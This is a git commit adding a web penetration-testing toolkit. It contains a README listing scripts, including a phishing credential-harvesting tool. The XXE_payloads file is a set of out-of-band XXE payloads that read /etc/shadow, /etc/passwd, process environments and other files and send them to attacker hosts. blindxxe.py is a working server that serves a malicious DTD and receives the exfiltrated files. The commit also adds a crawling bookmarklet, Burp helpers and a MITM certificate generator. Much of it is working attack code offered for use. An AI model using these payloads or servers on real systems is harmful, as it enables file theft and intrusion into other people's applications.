This commit is contained in:
Mariusz B
2018-02-02 22:22:43 +01:00
commit c08aa59f9a
65 changed files with 8281 additions and 0 deletions

139
web/README.md Normal file
View File

@ -0,0 +1,139 @@
## Web Applications penetration testing related scripts, tools and Cheatsheets
- **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870))
- **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Requires: jwt (pip install pyjwt). ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f))
Sample output could look like:
```
Usage: detect.py <text>
Using sample: "4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935"
[+] Detected encoding: HexEncoded
[+] Detected encoding: Base64
[+] Detected encoding: URLEncoder
[.] No more encodings.
[.] Input data encoded according to: ['HexEncoded', 'Base64', 'URLEncoder']
[>] Decoding HexEncoded: (4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935) => (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5)
[>] Decoding Base64: (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) => (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29)
[>] Decoding URLEncoder: (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) => (Hello world! :-))
(1) DECODED TEXT: "Hello world! :-)"
(2) TO BE ENCODED TEXT: "FOO Hello world! :-) BAR"
[>] Encoding URLEncoder: (FOO Hello world! :-) BAR) => (FOO%20Hello%20world%21%20%3A-%29%20BAR)
[>] Encoding Base64: (FOO%20Hello%20world%21%20%3A-%29%20BAR) => (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=)
[>] Encoding HexEncoded: (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) => (526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d)
(3) ENCODED FORM: "526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d"
```
When `DEBUG` is turned on, the output may also look like:
```
$ ./reencode.py JTQxJTQxJTQxJTQx
[.] Trying: URLEncoder (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Trying: HexEncoded (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Trying: Base64 (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Unclear situation whether input (JTQxJTQxJTQxJTQx) is Base64 encoded. Branching.
[*] Generator returned: ("None", "JTQxJTQxJTQxJTQx", True)
[+] Detected encoder: Base64
[*] Generator returned: ("Base64", "%41%41%41%41", False)
[.] Trying: URLEncoder (peeled off: 1). Current form: "%41%41%41%41"
[+] Detected encoder: URLEncoder
[*] Generator returned: ("URLEncoder", "AAAA", False)
[.] Trying: URLEncoder (peeled off: 2). Current form: "AAAA"
[.] Trying: HexEncoded (peeled off: 2). Current form: "AAAA"
[.] Unclear situation whether input (AAAA) is Hex encoded. Branching.
[*] Generator returned: ("None", "AAAA", True)
[+] Detected encoder: HexEncoded
[*] Generator returned: ("HexEncoded", "<22><>", False)
[.] Trying: URLEncoder (peeled off: 3). Current form: "<22><>"
[.] Trying: HexEncoded (peeled off: 3). Current form: "<22><>"
[.] Trying: Base64 (peeled off: 3). Current form: "<22><>"
[.] Trying: Base64URLSafe (peeled off: 3). Current form: "<22><>"
[.] Trying: JWT (peeled off: 3). Current form: "<22><>"
[.] Trying: None (peeled off: 3). Current form: "<22><>"
None (JTQxJTQxJTQxJTQx)
├── None (JTQxJTQxJTQxJTQx)
└── Base64 (%41%41%41%41)
└── URLEncoder (AAAA)
├── None (AAAA)
└── HexEncoded ()
[.] Candidate for best decode using None: "AAAA"...
[.] Candidate for best decode using HexEncoded: "<22><>"...
[=] Evaluating candidate: None (data: AAAA)
Adding 10.0 points for printable characters.
Adding 0.0 points for high entropy.
Adding 4.0 points for length.
Scored in total: 14.0 points.
[=] Evaluating candidate: HexEncoded (data: <20><>)
Adding 0.0 points for printable characters.
Adding 0.0 points for high entropy.
Adding 2.0 points for length.
Scored in total: 2.0 points.
[?] Other equally good candidate paths:
(Node('/None/Base64/URLEncoder', decoded='AAAA'), Node('/None/Base64/URLEncoder/None', decoded='AAAA'))
[+] Winning decode path is:
Node('/None/Base64/URLEncoder', decoded='AAAA')
[+] Selected encodings: ['None', 'Base64', 'URLEncoder']
(1) DECODED TEXT: "AAAA"
(2) TO BE ENCODED TEXT: "FOO AAAA BAR"
(3) ENCODED FORM: "Rk9PJTIwQUFBQSUyMEJBUg=="
```
- **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf))
- **`XXE Payloads`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d))
- **`blind-xxe-payload-1.txt`** - Simplest Blind XXE Payload to test within HTML request. ([gist](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882))
- **`burpCookieToUrl.py`** - Example BurpSuite extension copying specified Cookie's value (ticket) into URL parameters set under different name. ([gist](https://gist.github.com/mgeeky/61407112d6d09eaafd542e25590e1d35))
- **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5))
- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter.
- **`burp-curl-beautifier.py`** - Simple script for making "Copy as curl command" output in system's clipboard a little nicer, at least for me. ([gist](https://gist.github.com/mgeeky/3a5060e54004ca597241d6752b482675))
- **`padding-oracle-tests.py`** - Padding Oracle test-cases generator utility aiding process of manual inspection of cryptosystem's responses. ([gist](https://gist.github.com/mgeeky/5dfa475af2c970197a62ad070ba5deee))
```
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
# and then generates all the possible, reasonable cipher text transformations to be used while manually
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
# encoded values to be used in manual application testing approaches, like sending requests.
#
# One of possible scenarios and ways to use the below script could be the following:
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
# - launch pador.py which is an example of application vulnerable to Padding Oracle
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
# result would be considered padding-hit, therefore vulnerability proof.
#
# This script could be then launched to generate every possible test case of second to the last block
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
```
- **`create_mitm_certificate.sh`** - Simple SSL/TLS self-signed CA Certificate generator for MITM purposes. ([gist](https://gist.github.com/mgeeky/5e36d6482e73ab85c161c35bfd50c465))
- **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. ([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c))
- **`struts-cheatsheet.md`** - Apache Struts devMode Remote Code Execution cheatsheet. ([gist](https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7))
- **`pickle-payload.py`** - Python's Pickle Remote Code Execution payload template. ([gist](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd))
- **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84))
- **`blindxxe.py`** - Blind XXE (External XML Entity) attacker's server - to be used in blind XXE data exfiltration (like in Play Framework or Ruby on Rails). ([gist](https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573))
- **`ajax_crawl.js`** - AJAX Crawling bookmarklet - useful bookmarklet for fetching accessible, in-scope URLs from the webpage (and it's sitemap.xml) in order to let them be captured in local proxy like Burp. This in turn is useful for populating local proxy's history and it's website resources tree. Must-have during website pentesting. ([gist](https://gist.github.com/mgeeky/db809bec7460707693f2ed3548ea6a43))
- **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d))

144
web/XXE_payloads Normal file
View File

@ -0,0 +1,144 @@
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: &#x25;
--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

176
web/ajax_crawl.js Normal file
View File

@ -0,0 +1,176 @@
/* Copy the below line to your bookmarklet: */
javascript:(function(){MAX_URLS_TO_FETCH = 512; limit_reached = false; function decodeHtml(html) {txt = document.createElement('textarea'); txt.innerHTML = html; return txt.value; } String.prototype.endsWith = function(suffix) {return this.indexOf(suffix, this.length - suffix.length) !== -1; }; function normalizeUri(uri) {if (!uri || uri.length < 1) {return ''; } if(uri.toLowerCase().startsWith('javascript:') || uri.toLowerCase().startsWith('mailto:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('tel:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('#') ) {return ''; } orig = location.origin; if (uri.startsWith('http') && !uri.startsWith(orig)) {if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {return uri; } return ''; } if (uri.startsWith(orig)) {return uri; } if (uri.startsWith('//')) {return location.protocol + uri; } if (uri.startsWith('"') || uri.startsWith("'") ) {return ''; } if (!uri.startsWith('/')) {var h = location.href; return h.substr(0, h.lastIndexOf('/') + 1) + uri; } else {return orig + uri; } return ''; } function collectUrls(code) {if (!code || code.length < 64) {return new Array(); } origin = location.origin; arr = new Set(); excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif']; askedAlready = false; includeLogouts = false; logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i; rexes = [/(?:href|src|action)="([^"]+)"/gi, /(?:href|src|action)='([^']+)'/gi, /'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi, /"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi, /((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi ]; n = rexes.length; for (var i = 0; i < rexes.length; i++) {r = new RegExp(rexes[i]); match = r.exec(code); while (match != null) {uri2 = ''; if (typeof match[1] !== 'undefined') uri2 += match[1]; if (typeof match[2] !== 'undefined') uri2 += match[2]; if (typeof match[3] !== 'undefined') uri2 += match[3]; uri = decodeHtml(uri2) || uri2; uri = normalizeUri(uri); in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':'))); if(uri.startsWith(orig) != in_scope_wo_scheme) {uri = location.protocol + uri.substr(uri.indexOf(':')+1); } if (uri && uri.length > 0 && uri.startsWith(orig)) {good = true; excluded.forEach(function(ext) {if (uri.endsWith(ext)) {good = false; } else if (logoutRex.test(uri)) {if (!askedAlready) {askedAlready = true; if (confirm('Logout URL has been found, do you want to issue it as well?')) {includeLogouts = true; } } good = includeLogouts; } }); if(good) {arr.add(uri); if(arr.size > MAX_URLS_TO_FETCH) {if(!limit_reached) {alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); limit_reached = true; } return arr; } } } else if (uri.length > 0) {console.log('Skipping: ' + uri); } match = r.exec(code); } } return arr; } function fetchUrls(arr) {if(arr.size < 1) {return false; } var i = 0; arr.forEach(function(uri){i += 1; console.log('Requesting #' + i + ': "' + uri + '"'); xhr = new XMLHttpRequest(); xhr.open('get', uri, true); xhr.send(); }); return i; } html = document.documentElement.innerHTML; urls = collectUrls(html); len = fetchUrls(urls); alert('Asynchronously requested ' + len + ' URLs.'); xhr = new XMLHttpRequest(); xhr.onload = function() {if(xhr.readyState == xhr.DONE && xhr.status == 200) {console.log('Got sitemap.xml. Parsing...'); urls2 = collectUrls(this.responseText); len2 = fetchUrls(urls2); alert('Fetched ' + len2 + ' URLs from sitemap.xml'); } }; xhr.open('GET', location.origin + '/sitemap.xml', true); xhr.responseType = 'text'; xhr.send(); })()
/* Full code:
javascript:(function(){
MAX_URLS_TO_FETCH = 512;
limit_reached = false;
function decodeHtml(html) {
txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
}
String.prototype.endsWith = function(suffix) {
return this.indexOf(suffix, this.length - suffix.length) !== -1;
};
function normalizeUri(uri) {
if (!uri || uri.length < 1) {
return '';
}
if(uri.toLowerCase().startsWith('javascript:')
|| uri.toLowerCase().startsWith('mailto:')
|| uri.toLowerCase().startsWith('phone:')
|| uri.toLowerCase().startsWith('tel:')
|| uri.toLowerCase().startsWith('phone:')
|| uri.toLowerCase().startsWith('#')
) {
return '';
}
orig = location.origin;
if (uri.startsWith('http') && !uri.startsWith(orig)) {
if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {
return uri;
}
return '';
}
if (uri.startsWith(orig)) {
return uri;
}
if (uri.startsWith('//')) {
return location.protocol + uri;
}
if (uri.startsWith('"') || uri.startsWith("'") ) {
return '';
}
if (!uri.startsWith('/')) {
var h = location.href;
return h.substr(0, h.lastIndexOf('/') + 1) + uri;
}
else {
return orig + uri;
}
return '';
}
function collectUrls(code) {
if (!code || code.length < 64) {
return new Array();
}
origin = location.origin;
arr = new Set();
excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif'];
askedAlready = false;
includeLogouts = false;
logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i;
rexes = [
/(?:href|src|action)="([^"]+)"/gi,
/(?:href|src|action)='([^']+)'/gi,
/'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi,
/"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi,
/((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi
];
n = rexes.length;
for (var i = 0; i < rexes.length; i++) {
r = new RegExp(rexes[i]);
match = r.exec(code);
while (match != null) {
uri2 = '';
if (typeof match[1] !== 'undefined') uri2 += match[1];
if (typeof match[2] !== 'undefined') uri2 += match[2];
if (typeof match[3] !== 'undefined') uri2 += match[3];
uri = decodeHtml(uri2) || uri2;
uri = normalizeUri(uri);
in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')));
if(uri.startsWith(orig) != in_scope_wo_scheme) {
uri = location.protocol + uri.substr(uri.indexOf(':')+1);
}
if (uri && uri.length > 0 && uri.startsWith(orig)) {
good = true;
excluded.forEach(function(ext) {
if (uri.endsWith(ext)) {
good = false;
} else if (logoutRex.test(uri)) {
if (!askedAlready) {
askedAlready = true;
if (confirm('Logout URL has been found, do you want to issue it as well?')) {
includeLogouts = true;
}
}
good = includeLogouts;
}
});
if(good) {
arr.add(uri);
if(arr.size > MAX_URLS_TO_FETCH) {
if(!limit_reached) {
alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...');
limit_reached = true;
}
return arr;
}
}
}
else if (uri.length > 0) {
console.log('Skipping: ' + uri);
}
match = r.exec(code);
}
}
return arr;
}
function fetchUrls(arr) {
if(arr.size < 1) {
return false;
}
var i = 0;
arr.forEach(function(uri){
i += 1;
console.log('Requesting #' + i + ': "' + uri + '"');
xhr = new XMLHttpRequest();
xhr.open('get', uri, true);
xhr.send();
});
return i;
}
html = document.documentElement.innerHTML;
urls = collectUrls(html);
len = fetchUrls(urls);
alert('Asynchronously requested ' + len + ' URLs.');
xhr = new XMLHttpRequest();
xhr.onload = function() {
if(xhr.readyState == xhr.DONE && xhr.status == 200) {
console.log('Got sitemap.xml. Parsing...');
urls2 = collectUrls(this.responseText);
len2 = fetchUrls(urls2);
alert('Fetched ' + len2 + ' URLs from sitemap.xml');
}
};
xhr.open('GET', location.origin + '/sitemap.xml', true);
xhr.responseType = 'text';
xhr.send();
})()
*/

View File

@ -0,0 +1,3 @@
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>

120
web/blindxxe.py Normal file
View File

@ -0,0 +1,120 @@
#!/usr/bin/python
#
# Simple Blind XXE server intended to handle incoming requests for
# malicious DTD file, that will subsequently ask for locally stored file,
# like file:///etc/passwd.
#
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
# to be run as follows:
#
# 0. Configure global variables: SERVER_SOCKET and RHOST
#
# 1. Run the below script, using:
# $ python blindxxe.py <filepath>
#
# where <filepath> can be for instance: "file:///etc/passwd"
#
# 2. Then, while server is running - invoke XXE by requesting e.g.
# $ curl -X POST http://vulnerable/app --data-binary \
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
#
# The expected result will be like the following:
#
# $ python blindxxe.py
# Exfiltrated file:///etc/passwd:
# ------------------------------
# root:x:0:0:root:/root:/bin/sh
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
#
#
# Mariusz B., 2016
#
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
#
# CONFIGURE THE BELOW VARIABLES
#
SERVER_SOCKET = ('0.0.0.0', 8000)
EXFIL_FILE = 'file:///etc/passwd'
# The host on which you will run this server
RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1])
EXFILTRATED_EVENT = threading.Event()
class BlindXXEServer(BaseHTTPRequestHandler):
def response(self, **data):
code = data.get('code', 200)
content_type = data.get('content_type', 'text/plain')
body = data.get('body', '')
self.send_response(code)
self.send_header('Content-Type', content_type)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
self.wfile.close()
def do_GET(self):
self.request_handler(self)
def do_POST(self):
self.request_handler(self)
def log_message(self, format, *args):
return
def request_handler(self, request):
global EXFILTRATED_EVENT
path = urllib.unquote(request.path).decode('utf8')
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get':
data = path[len('/?exfil='):]
print 'Exfiltrated %s:' % EXFIL_FILE
print '-' * 30
print urllib.unquote(data).decode('utf8')
print '-' * 30 + '\n'
self.response(body='true')
EXFILTRATED_EVENT.set()
elif request.path.endswith('.dtd'):
#print '[DEBUG] Sending malicious DTD file.'
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
self.response(content_type='text/xml', body=dtd)
else:
#print '[INFO] %s %s' % (request.command, request.path)
self.response(body='false')
def main():
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
while not EXFILTRATED_EVENT.is_set():
pass
if __name__ == '__main__':
if len(sys.argv) > 1:
EXFIL_FILE = sys.argv[1]
main()

View File

@ -0,0 +1,44 @@
#!/usr/bin/python
#
# Simple script for making "Copy as curl command" output in system's clipboard a little nicer\
# To use it:
# - firstly right click on request in BurpSuite
# - select "Copy as curl command"
# - then launch this script.
# As a result, you'll have a bit nicer curl command in your clipboard.
#
try:
import xerox
except ImportError:
raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`"
import re
data = xerox.paste()
data = re.sub(r"\s+\\\n\s+", ' ', data, re.M)
data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data)
if "-iskX 'GET'" in data:
data = data.replace("-iskX 'GET'", '')
else:
data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data)
superfluous_headers = {
'Upgrade-Insecure-Requests':'',
'DNT':'',
'User-Agent':'',
'Content-Type':"application/x-www-form-urlencoded",
'Referer':'',
}
for k, v in superfluous_headers.items():
val = v
if not val:
val = "[^']+"
rex = r" -H '" + k + ": " + val + "' "
m = re.search(rex, data)
if m:
data = re.sub(rex, ' ', data)
data = re.sub(r"'(http[^']+)'$", r'"\1"', data)
xerox.copy(data)

91
web/burpCookieToUrl.py Normal file
View File

@ -0,0 +1,91 @@
#!/usr/bin/python
from burp import IBurpExtender
from burp import IParameter
from burp import IHttpListener
from burp import IExtensionStateListener
# Can be used with:
# https://github.com/securityMB/burp-exceptions
# from exceptions_fix import FixBurpExceptions
import sys
import re
import urlparse
from urllib import urlencode
HOST_SCOPE = 'www.example.com'
TRIGGER_PATTERN = '/some/path/'
COOKIE_NAME = 'cookieTicket'
PARAMETER_NAME = 'ticket'
class BurpExtender(IBurpExtender, IHttpListener, IExtensionStateListener):
ticket = ''
def registerExtenderCallbacks(self, callbacks):
# sys.stdout = callbacks.getStdout()
print '[+] Ticket appender is loading...'
self._callbacks = callbacks
# helpers object for analyzing HTTP request
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Copy Specific Cookie into URL parameter")
callbacks.registerHttpListener(self)
callbacks.registerExtensionStateListener(self)
return
def addUrlParam(self, _url, name, value):
pos1 = _url.find(' ') + 1
pos2 = _url.rfind(' ')
url = _url[pos1:pos2]
url_parts = list(urlparse.urlparse(url))
query = dict(urlparse.parse_qsl(url_parts[4]))
query.update({name : value})
url_parts[4] = urlencode(query)
new_url = str(urlparse.urlunparse(url_parts))
return _url[:pos1] + new_url + _url[pos2:]
def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
if messageIsRequest:
requestInfo = self._helpers.analyzeRequest(currentRequest)
headers = requestInfo.getHeaders()
if re.match('Host: ' + HOST_SCOPE, headers[1], re.I):
for h in headers:
if 'Cookie' in h and COOKIE_NAME in h:
pos0 = h.find(COOKIE_NAME)
pos1 = h.find('=', pos0)
pos2 = h.find(';', pos1)
ticket = h[pos1+1:pos2]
if ticket != self.ticket:
print "[?] Cookie's value changed: '%s' => '%s'" % (ticket, self.ticket)
self.ticket = ticket
url = headers[0]
print '[*] Working url: "%s"' % url
print '[*] Self.ticket = "%s"' % self.ticket
if TRIGGER_PATTERN in url and self.ticket != '' and PARAMETER_NAME + '=' not in url:
print '[?] No Ticket parameter in URL. Adding it...'
newHeaders = list(headers)
newHeaders[0] = self.addUrlParam(url, PARAMETER_NAME, ' ' + self.ticket)
print '[?] Updating URL from: "%s" => "%s"' % (headers[0], newHeaders[0])
bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
bodyStr = self._helpers.bytesToString(bodyBytes)
newMessage = self._helpers.buildHttpMessage(newHeaders, bodyStr)
currentRequest.setRequest(newMessage)
# FixBurpExceptions()

View File

@ -0,0 +1,31 @@
#!/bin/bash
echo -e "\n\nSimple SSL/TLS self-signed CA Certificate generator\n\n"
if [ -z $1 ]; then
echo "Usage: $0 [file_name]"
echo -e "\nGoing with default name: './rogue_server'\n\n"
fi
FILENAME=${1:-rogue_server}
echo "[+] Generating public and private keys pair (.key)..."
openssl genrsa -out $FILENAME.key 1024
echo "[+] Generating a self-signed x509 CA's certificate (.crt)..."
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3600 -out $FILENAME.crt
echo "[+] Generating the PEM file out of the key and certificate files..."
cat $FILENAME.key $FILENAME.crt > $FILENAME.pem
echo -e "\n[>] Certificate's dump:"
openssl x509 -in $FILENAME.pem -text -noout
echo -e "\n[>] Generated files:"
echo -e "\tPKI keys (public/private):\t$FILENAME.key"
echo -e "\tCA Certficate:\t\t$FILENAME.crt"
echo -e "\tResulting PEM:\t\t$FILENAME.pem"
echo -e "\n\n[+] Now you can start a TLS-enabled server with:\n"
echo -e "\n$ sudo socat -vv openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect::,verify=0 \n"
echo "Happy MITM-ing!"

51
web/dummy-web-server.py Normal file
View File

@ -0,0 +1,51 @@
#!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>]
Send a GET request::
curl http://localhost
Send a HEAD request::
curl -I http://localhost
Send a POST request::
curl -d "foo=bar&bin=baz" http://localhost
"""
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
